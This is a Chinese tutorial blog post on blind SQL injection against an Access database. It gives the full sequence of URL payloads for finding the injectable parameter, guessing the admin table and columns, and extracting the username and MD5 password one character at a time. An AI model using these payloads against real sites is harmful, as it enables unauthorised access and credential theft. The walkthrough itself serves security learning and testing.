ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

access注入 - 盲注

2022-01-16 10:35:25  阅读:321  来源: 互联网

标签:20 adminuid admin access NewsID SmallClassID BigClassID 盲注 注入


1. access盲注思路:

  1. 判断注入点
  2. 猜解表名
  3. 猜解字段名
  4. 爆破字段值

2. 实战演示

2.1 判断注入点

  • ?NewsID=20&BigClassID=2&SmallClassID=2 and 1=1
  • ?NewsID=20&BigClassID=2&SmallClassID=2 and 1=2
  • 如下图,可知在参数SmallClassID中存在注入点,且为数字型注入
    01_access注入 - 盲注
    02_access注入 - 盲注 - 判断注入点

2.2 猜解表名

  • 与mysql数据库不同,access数据库没有类似于mysql的information_schema这样的系统索引库,所以我们只能根据经验靠猜了,在真实的测试环境中,我们也可以通过社工的方式进行猜解
  • ?NewsID=20&BigClassID=2&SmallClassID=2 and exists(select * from admin)
  • 如下图,结果返回正常,说明在access中存在表admin
    03_access注入 - 盲注 - 猜解表名

2.3 猜解该表的字段名

  • ?NewsID=20&BigClassID=2&SmallClassID=2 and exists(select adminuid,adminpwd from admin)
  • 如下图,页面正常,说明access数据库的admin表中存在adminuid和adminpwd两字段
  • 当然也可以使用如下语句进行判断:

?NewsID=20&BigClassID=2&SmallClassID=2 and 1=(select count(*) from admin where len(adminuid)>0)

04_access注入 - 盲注 - 猜解字段名

  • 这里我提一个小技巧:就是在我们猜表的字段名时,可以通过该网站后台管理页面的表单来帮助我们猜解。一般而言,程序员在写后台登录表单时,通常会将该表单中input标签的name属性设置的同数据库中相应的字段名相同,如下图:在此次案例中就是这样。
    05_access注入 - 盲注 - 小技巧

2.4 爆破字段值

2.4.1 判断表中有多少条记录

  • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select count(*) from admin)=1
  • 如下图,页面返回正常,说明admin表中只有一条记录
    06_access注入 - 盲注 - 判断表中有多少条记录

2.4.2 爆字段的值

  • 先爆adminuid字段的值
    1. 先判断adminuid字段第一个值的长度是多少
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 len(adminuid) from admin)=5
      • 由下图我们可以判断admin表的adminuid字段的第一个值的长度为5
        07_access注入 - 盲注 - 判断字段值的长度
    2. 先爆adminuid字段的值(可以采用二分法慢慢试,这里直接给出结论了)
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,1,1)) from admin)=97
      • 页面返回正常,说明admin表中字段adminuid的第一个值的第一个字母为a(97是a的ascii码值)
        07_access注入 - 盲注 - 爆字段值
      • 同理可以爆出该字段第一个值的剩余字母,playload如下:
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,2,1)) from admin)=100
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,3,1)) from admin)=109
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,4,1)) from admin)=105
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,5,1)) from admin)=110
    3. 由于先前我们已经判断admin表中只有一条记录,且第一个字段值的长度为5,所以无需继续爆破了
  • 再判断adminpwd字段的值
    1. 先判断adminpwd字段第一个值的长度是多少
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 len(adminpwd) from admin)=16
      • 页面返回正常,说明admin表的adminpwd字段的第一个值的长度为16,初步推测可能是16b的MD5
        09_access注入 - 盲注 - 判断字段的长度
    2. 先爆adminuid字段的值(可以采用二分法慢慢试,这里直接给出结论了)
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminpwd,1,1)) from admin)=55
      • 页面返回正常,说明admin表中字段adminpwd的第一个值的第一个字母为7(55是7的ascii码值)
        10_access注入 - 盲注 - 爆字段的值
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminpwd,2,1)) from admin)=97
      • ?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminpwd,3,1)) from admin)=53
      • .....
    3. 爆破出来的MD5值为:55 97 53 55 97 53 97 55 52 51 56 57 52 97 48 101 --> 7a57a5a743894a0e -->admin
    4. 由于先前我们已经判断admin表中只有一条记录,所以无需继续爆破了

2.5 综上所述

  • 我们后台的账号密码为:admin;admin
    11_access注入 - 盲注 - 后台

标签:20,adminuid,admin,access,NewsID,SmallClassID,BigClassID,盲注,注入
来源: https://www.cnblogs.com/02SWD/p/15808817.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有